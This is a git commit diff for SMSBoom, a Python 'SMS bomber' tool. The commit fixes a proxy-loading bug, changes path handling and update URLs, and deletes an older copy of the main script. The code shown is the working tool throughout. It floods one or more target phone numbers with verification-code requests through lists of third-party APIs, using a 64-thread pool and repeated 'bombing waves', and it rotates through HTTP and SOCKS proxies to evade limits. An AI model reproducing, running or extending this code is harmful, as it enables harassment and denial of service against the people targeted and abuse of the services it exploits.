🐞 fix: 一個獲取代理時的邏輯問題.
This commit is contained in:
OpenEthan
+20
-9
@@ -14,9 +14,13 @@ import sys
|
||||
import time
|
||||
import click
|
||||
import httpx
|
||||
import os
|
||||
|
||||
# current directory
|
||||
path = pathlib.Path(__file__).parent
|
||||
# 確定應用程序係一個腳本文件或凍結EXE
|
||||
if getattr(sys, 'frozen', False):
|
||||
path = os.path.dirname(sys.executable)
|
||||
elif __file__:
|
||||
path = os.path.dirname(__file__)
|
||||
|
||||
|
||||
def load_proxies() -> list:
|
||||
@@ -106,33 +110,40 @@ def load_getapi() -> list:
|
||||
|
||||
|
||||
@click.command()
|
||||
@click.option("--thread","--t","-t", help="线程数(默认64)", default=64)
|
||||
@click.option("--phone", "-p","-P","--P","--p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
|
||||
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||
@click.option('--frequency', "-f", default=1, help="执行次数(默认1次)", type=int)
|
||||
@click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int)
|
||||
@click.option('--enable_proxy', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool)
|
||||
def run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False):
|
||||
"""传入线程数和手机号启动轰炸,支持多手机号"""
|
||||
logger.info(f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}")
|
||||
logger.info(
|
||||
f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}")
|
||||
with ThreadPoolExecutor(max_workers=thread) as pool:
|
||||
try:
|
||||
_api = load_json()
|
||||
_api_get = load_getapi()
|
||||
_proxies = load_proxies()
|
||||
# fix: by Ethan
|
||||
if not _proxies:
|
||||
_proxies = [None]
|
||||
except ValueError:
|
||||
logger.error("读取接口出错!正在重新下载接口数据!....")
|
||||
update()
|
||||
sys.exit(1)
|
||||
for i in range(1, frequency + 1):
|
||||
logger.success(f"第{i}波轰炸开始！")
|
||||
# 此處代碼邏輯有問題,如果 _proxy 為空就不會啓動轟炸,必須有東西才行
|
||||
for proxy in _proxies:
|
||||
logger.success(f"第{i}波轰炸 - 当前正在使用代理：" +
|
||||
proxy['all://'] + " 进行轰炸...") if enable_proxy else logger.success(f"第{i}波开始轰炸...")
|
||||
# 不可用的代理或API过多可能会影响轰炸效果
|
||||
for api in _api:
|
||||
pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit(reqFunc, api, phone)
|
||||
pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit(
|
||||
reqFunc, api, phone)
|
||||
for api_get in _api_get:
|
||||
pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit(reqFunc, api_get, phone)
|
||||
pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit(
|
||||
reqFunc, api_get, phone)
|
||||
logger.success(f"第{i}波轰炸提交结束！休息{interval}s.....")
|
||||
time.sleep(interval)
|
||||
|
||||
@@ -169,8 +180,8 @@ def oneRun(phone):
|
||||
@click.command()
|
||||
def update():
|
||||
"""从 github 获取最新接口"""
|
||||
GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json"
|
||||
API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json"
|
||||
GETAPI_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/GETAPI.json"
|
||||
API_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/api.json"
|
||||
logger.info(f"正在从GitHub拉取最新接口!")
|
||||
try:
|
||||
with httpx.Client(verify=False, timeout=10) as client:
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# encoding=utf8
|
||||
# 短信测压主程序
|
||||
# smsboom English version
|
||||
|
||||
from utils import default_header_user_agent
|
||||
from utils.log import logger
|
||||
@@ -14,9 +14,13 @@ import sys
|
||||
import time
|
||||
import click
|
||||
import httpx
|
||||
import os
|
||||
|
||||
# current directory
|
||||
path = pathlib.Path(__file__).parent
|
||||
# determine if application is a script file or frozen exe
|
||||
if getattr(sys, 'frozen', False):
|
||||
path = os.path.dirname(sys.executable)
|
||||
elif __file__:
|
||||
path = os.path.dirname(__file__)
|
||||
|
||||
|
||||
def load_proxies() -> list:
|
||||
@@ -1,295 +0,0 @@
|
||||
# encoding=utf8
|
||||
# 短信测压主程序
|
||||
import pathlib
|
||||
import sys
|
||||
from typing import List, Union
|
||||
import click
|
||||
import json
|
||||
import httpx
|
||||
from loguru import logger
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import time
|
||||
import sys
|
||||
import os
|
||||
from utils import default_header_user_agent
|
||||
from utils.models import API
|
||||
|
||||
# logger config
|
||||
logger.remove()
|
||||
logger.add(
|
||||
sink=sys.stdout,
|
||||
format="<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>",
|
||||
colorize=True,
|
||||
backtrace=True
|
||||
)
|
||||
|
||||
# current directory by pyinstall
|
||||
path = os.path.dirname(os.path.realpath(sys.argv[0]))
|
||||
|
||||
def load_proxies() -> list:
|
||||
"""load proxies for files
|
||||
:return: proxies list
|
||||
"""
|
||||
proxy_data = []
|
||||
try:
|
||||
proxy_path = pathlib.Path(path, 'http_proxy.txt')
|
||||
for line in open(proxy_path):
|
||||
le = line.replace("\r", "").replace("\n", "")
|
||||
if le == '':
|
||||
continue
|
||||
proxy_one = {
|
||||
'all://': 'http://' + le
|
||||
}
|
||||
proxy_data.append(proxy_one)
|
||||
proxy_path = pathlib.Path(path, 'socks4_proxy.txt')
|
||||
for line in open(proxy_path):
|
||||
le = line.replace("\r", "").replace("\n", "")
|
||||
if le == '':
|
||||
continue
|
||||
proxy_one = {
|
||||
'all://': 'socks4://' + le
|
||||
}
|
||||
proxy_data.append(proxy_one)
|
||||
proxy_path = pathlib.Path(path, 'socks5_proxy.txt')
|
||||
for line in open(proxy_path):
|
||||
le = line.replace("\r", "").replace("\n", "")
|
||||
if le == '':
|
||||
continue
|
||||
proxy_one = {
|
||||
'all://': 'socks5://' + le
|
||||
}
|
||||
proxy_data.append(proxy_one)
|
||||
except:
|
||||
logger.error("proxies 加载失败")
|
||||
return []
|
||||
logger.success(f"proxies 加载完成 接口数:{len(proxy_data)}")
|
||||
return proxy_data
|
||||
|
||||
def load_json() -> List[API]:
|
||||
"""load json for api.json
|
||||
:return: api list
|
||||
"""
|
||||
json_path = pathlib.Path(path, 'api.json')
|
||||
if not json_path.exists():
|
||||
logger.error("Json file not exists!")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
|
||||
try:
|
||||
datas = json.loads(j.read())
|
||||
APIs = [
|
||||
API(**data)
|
||||
for data in datas
|
||||
]
|
||||
logger.success(f"api.json 加载完成 接口数:{len(APIs)}")
|
||||
return APIs
|
||||
except Exception as why:
|
||||
logger.error(f"Json file syntax error:{why}")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
|
||||
def load_getapi() -> list:
|
||||
"""load GETAPI
|
||||
:return:
|
||||
"""
|
||||
json_path = pathlib.Path(path, 'GETAPI.json')
|
||||
if not json_path.exists():
|
||||
logger.error("GETAPI.json file not exists!")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
|
||||
try:
|
||||
datas = json.loads(j.read())
|
||||
logger.success(f"GETAPI加载完成,数目:{len(datas)}")
|
||||
return datas
|
||||
except Exception as why:
|
||||
logger.error(f"Json file syntax error:{why}")
|
||||
# return None
|
||||
raise ValueError
|
||||
|
||||
|
||||
def reqAPI(api: API, client: httpx.Client) -> httpx.Response:
|
||||
if isinstance(api.data, dict):
|
||||
resp = client.request(method=api.method, json=api.data,
|
||||
headers=api.header, url=api.url)
|
||||
else:
|
||||
resp = client.request(method=api.method, data=api.data,
|
||||
headers=api.header, url=api.url)
|
||||
return resp
|
||||
|
||||
|
||||
def reqFuncByProxy(api: Union[API, str], phone: Union[tuple, str], proxy: dict) -> bool:
|
||||
|
||||
"""通过代理请求接口方法"""
|
||||
# 多手机号支持
|
||||
if isinstance(phone, tuple):
|
||||
phone_lst = [_ for _ in phone]
|
||||
else:
|
||||
phone_lst = [phone]
|
||||
with httpx.Client(headers=default_header_user_agent(), verify=False, proxies=proxy) as client:
|
||||
for ph in phone_lst:
|
||||
try:
|
||||
if isinstance(api, API):
|
||||
api = api.handle_API(ph)
|
||||
resp = reqAPI(api, client)
|
||||
logger.info(f"{api.desc}-{resp.text[:30]}")
|
||||
else:
|
||||
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
|
||||
resp = client.get(url=api, headers=default_header_user_agent())
|
||||
logger.info(f"GETAPI接口-{resp.text[:30]}")
|
||||
return True
|
||||
except httpx.HTTPError as why:
|
||||
logger.error(f"请求失败{why}")
|
||||
return False
|
||||
|
||||
|
||||
def reqFunc(api: Union[API, str], phone: Union[tuple, str]) -> bool:
|
||||
|
||||
"""请求接口方法"""
|
||||
# 多手机号支持
|
||||
if isinstance(phone, tuple):
|
||||
phone_lst = [_ for _ in phone]
|
||||
else:
|
||||
phone_lst = [phone]
|
||||
with httpx.Client(headers=default_header_user_agent(), verify=False) as client:
|
||||
for ph in phone_lst:
|
||||
try:
|
||||
if isinstance(api, API):
|
||||
api = api.handle_API(ph)
|
||||
resp = reqAPI(api, client)
|
||||
logger.info(f"{api.desc}-{resp.text[:30]}")
|
||||
else:
|
||||
api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '')
|
||||
resp = client.get(url=api, headers=default_header_user_agent())
|
||||
logger.info(f"GETAPI接口-{resp.text[:30]}")
|
||||
return True
|
||||
except httpx.HTTPError as why:
|
||||
logger.error(f"请求失败{why}")
|
||||
return False
|
||||
|
||||
@click.command()
|
||||
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
|
||||
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||
@click.option('--frequency', "-f", default=1, help="执行次数(默认1次)", type=int)
|
||||
@click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int)
|
||||
@click.option('--enable_proxy', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool)
|
||||
def run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False):
|
||||
"""传入线程数和手机号启动轰炸,支持多手机号"""
|
||||
logger.info(f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}")
|
||||
with ThreadPoolExecutor(max_workers=thread) as pool:
|
||||
try:
|
||||
_api = load_json()
|
||||
_api_get = load_getapi()
|
||||
_proxies = load_proxies()
|
||||
except ValueError:
|
||||
logger.error("读取接口出错!正在重新下载接口数据!....")
|
||||
update()
|
||||
sys.exit(1)
|
||||
for i in range(1, frequency + 1):
|
||||
logger.success(f"第{i}波轰炸开始！")
|
||||
for proxy in _proxies:
|
||||
logger.success(f"第{i}波轰炸 - 当前正在使用代理：" +
|
||||
proxy['all://'] + " 进行轰炸...") if enable_proxy else logger.success(f"第{i}波开始轰炸...")
|
||||
# 不可用的代理或API过多可能会影响轰炸效果
|
||||
for api in _api:
|
||||
pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit(reqFunc, api, phone)
|
||||
for api_get in _api_get:
|
||||
pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit(reqFunc, api_get, phone)
|
||||
logger.success(f"第{i}波轰炸提交结束！休息{interval}s.....")
|
||||
time.sleep(interval)
|
||||
|
||||
|
||||
@click.command()
|
||||
@click.option("-p", "--proxy", help="[!!暂时弃用该选项!!]GitHub 代理镜像(默认github.do)", default="https://github.do/")
|
||||
def update(proxy: str):
|
||||
"""从 github 获取最新接口"""
|
||||
GETAPI_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/GETAPI.json"
|
||||
API_json_url = f"https://hk1.monika.love/AdminWhaleFall/SMSBoom/master/api.json"
|
||||
logger.info(f"正在从GitHub拉取最新接口!")
|
||||
try:
|
||||
with httpx.Client(verify=False, timeout=10) as client:
|
||||
# print(API_json_url)
|
||||
GETAPI_json = client.get(GETAPI_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8")
|
||||
api_json = client.get(API_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8")
|
||||
|
||||
except Exception as why:
|
||||
logger.error(f"拉取更新失败:{why}请多尝试几次!")
|
||||
else:
|
||||
with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a:
|
||||
a.write(GETAPI_json)
|
||||
with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a:
|
||||
a.write(api_json)
|
||||
logger.success(f"接口更新成功!")
|
||||
|
||||
# 原方法
|
||||
# @click.command()
|
||||
# @click.option("--thread", "-t", help="线程数(默认64)", default=64)
|
||||
# @click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||
# @click.option('--super', "-s", is_flag=True, help="循环模式")
|
||||
# @click.option('--interval', "-i", default=60, help="循环间隔时间(默认60s)", type=int)
|
||||
# def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = False):
|
||||
# """传入线程数和手机号启动轰炸,支持多手机号"""
|
||||
# logger.info(f"循环模式:{super},手机号:{phone},线程数:{thread},循环间隔:{interval}")
|
||||
#
|
||||
# with ThreadPoolExecutor(max_workers=thread) as pool:
|
||||
# try:
|
||||
# _api = load_json()
|
||||
# _api_get = load_getapi()
|
||||
# except ValueError:
|
||||
# logger.error("读取接口出错!正在重新下载接口数据!....")
|
||||
# update()
|
||||
# sys.exit(1)
|
||||
# i = 0
|
||||
# if super:
|
||||
# while True:
|
||||
# i += 1
|
||||
# logger.success(f"第{i}波轰炸开始！")
|
||||
# for api in _api:
|
||||
# pool.submit(req, api, phone)
|
||||
# for api_get in _api_get:
|
||||
# pool.submit(req, api_get, phone)
|
||||
# logger.success(f"第{i}波轰炸提交结束！休息{interval}s.....")
|
||||
# time.sleep(interval)
|
||||
# else:
|
||||
# for api in _api:
|
||||
# pool.submit(req, api, phone)
|
||||
# for api_get in _api_get:
|
||||
# pool.submit(req, api_get, phone)
|
||||
#
|
||||
# def req(api: Union[API, str], phone: tuple):
|
||||
# """请求接口方法"""
|
||||
# # 多手机号支持
|
||||
# if isinstance(phone, tuple):
|
||||
# phone_lst = [_ for _ in phone]
|
||||
# else:
|
||||
# phone_lst = [phone]
|
||||
# with httpx.Client(headers=default_header_user_agent(), verify=False) as client:
|
||||
# for ph in phone_lst:
|
||||
# try:
|
||||
# if isinstance(api, API):
|
||||
# api = api.handle_API(ph)
|
||||
# resp = reqAPI(api, client)
|
||||
# logger.info(f"{api.desc}-{resp.text[:30]}")
|
||||
# else:
|
||||
# api = api.replace("[phone]", ph)
|
||||
# resp = client.get(url=api, headers=default_header_user_agent())
|
||||
# logger.info(f"GETAPI接口-{resp.text[:30]}")
|
||||
# except httpx.HTTPError as why:
|
||||
# logger.error(f"{why.request.url}请求失败{why}")
|
||||
|
||||
|
||||
@click.group()
|
||||
def cli():
|
||||
pass
|
||||
|
||||
|
||||
cli.add_command(run)
|
||||
cli.add_command(update)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
logger.info(f"当前脚本目录:{path}")
|
||||
cli()
|
||||
Reference in New Issue
Block a user